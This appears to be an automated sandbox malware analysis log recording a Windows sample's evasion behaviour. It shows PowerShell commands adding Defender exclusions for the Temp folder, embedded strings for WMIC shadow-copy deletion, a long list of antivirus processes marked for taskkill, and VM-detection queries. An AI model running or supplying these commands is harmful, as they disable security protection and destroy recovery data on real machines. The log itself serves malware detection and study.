Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exeProcess information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

barindex
Source: eryy65ty.exe, 00000022.00000000.1564548857.0000000000C7B000.00000002.00000001.01000000.00000009.sdmp, eryy65ty.exe, 0000002A.00000000.1725571622.0000000000C7B000.00000002.00000001.01000000.00000009.sdmp, eryy65ty.exe, 0000002D.00000000.1808036248.0000000000C7B000.00000002.00000001.01000000.00000009.sdmp, eryy65ty.exe.31.drBinary or memory string: COULD NOT CREATE CHILD PROCESSWOW64DISABLEWOW64FSREDIRECTIONKERNEL32.DLLWOW64REVERTWOW64FSREDIRECTIONABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ\WMIC.EXE\..\\WBEM\\SYSTEM32\\WINDOWS\C:\SHADOWCOPY DELETEAVPMAPP.EXE,ECONCEAL.EXE,SECHEALTHUI.EXE,RUNTIMEBROKER.EXE,ESCANMON.EXE,ESCANPRO.EXE,TRAYSSER.EXE,TRAYICOS.EXE,ECONSER.EXE,VIEWTCP.EXE,FSHDLL64.EXE,FSGK32.EXE,FSHOSTER32.EXE,FSMA32.EXE,FSORSP.EXE,FSSM32.EXE,FSM32.EXE,TRIGGER.EXE,FPROTTRAY.EXE,FPWIN.EXE,FPAVSERVER.EXE,AVK.EXE,GDBGINX64.EXE,AVKPROXY.EXE,GDSCAN.EXE,AVKWCTLX64.EXE,AVKSERVICE.EXE,AVKTRAY.EXE,GDKBFLTEXE32.EXE,GDSC.EXE,VIRUSUTILITIES.EXE,GUARDXSERVICE.EXE,GUARDXKICKOFF_X64.EXE,IPTRAY.EXE,FRESHCLAM.EXE,FRESHCLAMWRAP.EXE,K7RTSCAN.EXE,K7FWSRVC.EXE,K7PSSRVC.EXE,K7EMLPXY.EXE,K7TSECURITY.EXE,K7AVSCAN.EXE,K7CRVSVC.EXE,K7SYSMON.EXE,K7TSMAIN.EXE,K7TSMNGR.EXE,MPCMDRUN.EXE,NANOSVC.EXE,NANOAV.EXE,NNF.EXE,NVCSVC.EXE,NBROWSER.EXE,NSEUPDATESVC.EXE,NFSERVICE.EXE,CMD.EXETASKKILL/IMNWSCMON.EXE,NJEEVES2.EXE,NVCOD.EXE,NVOY.EXE,ZLHH.EXE,ZLH.EXE,NPROSEC.EXE,ZANDA.EXE,NS.EXE,ACS.EXE,OP_MON.EXE,PSANHOST.EXE,PSUAMAIN.EXE,PSUASERVICE.EXE,AGENTSVC.EXE,BDSSVC.EXE,EMLPROXY.EXE,OPSSVC.EXE,ONLINENT.EXE,QUHLPSVC.EXE,SAPISSVC.EXE,SCANNER.EXE,SCANWSCS.EXE,SCPROXYSRV.EXE,SCSECSVC.EXE,SUPERANTISPYWARE.EXE,SASCORE64.EXE,SSUPDATE64.EXE,SUPERDELETE.EXE,SASTASK.EXE,K7RTSCAN.EXE,K7FWSRVC.EXE,K7PSSRVC.EXE,K7EMLPXY.EXE,K7TSECURITY.EXE,K7AVSCAN.EXE,K7CRVSVC.EXE,K7SYSMON.EXE,K7TSMAIN.EXE,K7TSMNGR.EXE,UIWINMGR.EXE,UIWATCHDOG.EXE,UISEAGNT.EXE,PTWATCHDOG.EXE,PTSVCHOST.EXE,PTSESSIONAGENT.EXE,COREFRAMEWORKHOST.EXE,CORESERVICESHELL.EXE,UIUPDATETRAY.EXE,VIPREUI.EXE,SBAMSVC.EXE,SBAMTRAY.EXE,SBPIMSVC.EXE,BAVHM.EXE,BAVSVC.EXE,BAVTRAY.EXE,BAV.EXE,BAVWEBCLIENT.EXE,BAVUPDATER.EXE,MCSHIELDCCC.EXE,MCSHIELDRTM.EXE,MCSHIELDDS.EXE,MCS-UNINSTALL.EXE,SDSCAN.EXE,SDFSSVC.EXE,SDWELCOME.EXE,SDTRAY.EXE,UNTHREAT.EXE,UTSVC.EXE,FORTICLIENT.EXE,FCAPPDB.EXE,FCDBLOG.EXE,FCHELPER64.EXE,FMON.EXE,FORTIESNAC.EXE,FORTIPROXY.EXE,FORTISSLVPNDAEMON.EXE,FORTITRAY.EXE,FORTIFW.EXE,FORTICLIENT_DIAGNOSTIC_TOOL.EXE,AV_TASK.EXE,CERTREG.EXE,FILMSG.EXE,FILUP.EXE,FILWSCC.EXE,FILWSCC.EXE,PSVIEW.EXE,QUAMGR.EXE,QUAMGR.EXE,SCHMGR.EXE,SCHMGR.EXE,TWSSCAN.EXE,TWSSRV.EXE,USERREG.EXESEDEBUGPRIVILEGECOULD NOT SET SE_DEBUG_NAME PRIVILEGE
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened / queried: D:\sources\replacementmanifests\microsoft-hyper-v-client-migration-replacement.man
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened / queried: D:\sources\replacementmanifests\microsoft-hyper-v-drivers-migration-replacement.man
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened / queried: D:\sources\replacementmanifests\microsoft-hyper-v-migration-replacement.man
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeThread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeThread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-TimerJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4479Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5341Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3264Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2396Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6543Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1481Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5840
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5113
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4662
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\fjeljies.cplJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4912Thread sleep time: -8301034833169293s >= -30000sJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2404Thread sleep count: 3264 > 30Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2628Thread sleep count: 2396 > 30Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6756Thread sleep time: -4611686018427385s >= -30000sJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4716Thread sleep time: -2767011611056431s >= -30000sJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3964Thread sleep count: 6543 > 30Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7724Thread sleep time: -18446744073709540s >= -30000sJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7892Thread sleep time: -922337203685477s >= -30000sJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3452Thread sleep count: 1481 > 30Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2404Thread sleep time: -30000s >= -30000sJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8172Thread sleep time: -922337203685477s >= -30000sJump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7636Thread sleep time: -30000s >= -30000sJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 524Thread sleep count: 5840 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5528Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 520Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7724Thread sleep count: 5113 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7724Thread sleep count: 4662 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6560Thread sleep time: -24903104499507879s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3652Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe TID: 6988Thread sleep count: 39 > 30
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe TID: 6988Thread sleep count: 41 > 30
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe TID: 5968Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe TID: 4844Thread sleep count: 47 > 30
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe TID: 6196Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe TID: 2648Thread sleep count: 37 > 30
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe TID: 2648Thread sleep count: 56 > 30
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe TID: 2648Thread sleep count: 42 > 30
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe TID: 8472Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\svchost.exeFile opened: PhysicalDrive0Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT HypervisorPresent FROM Win32_ComputerSystem
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Family,VirtualizationFirmwareEnabled FROM Win32_Processor
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeLast function: Thread delayed
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeThread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeThread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeThread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: D:\sources\migration\
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: D:\sources\replacementmanifests\
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: D:\sources\migration\wtr\
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: D:\sources\replacementmanifests\microsoft-activedirectory-webservices\
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: D:\sources\replacementmanifests\microsoft-client-license-platform-service-migration\
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: D:\sources\replacementmanifests\hwvid-migration-2\
Source: svchost.exe, 00000011.00000002.2579572791.000001428C059000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
Source: 1696491690344.6260e81e-5ef5-4137-a0a5-7930ea6f0a75.main.jsonlz4.34.drBinary or memory string: "VMware V[
Source: svchost.exe, 00000011.00000002.2575521122.000001428682B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW@
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior

HIPS / PFW / Operating System Protection Evasion

barindex
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp'
Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp'Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"Jump to behavior
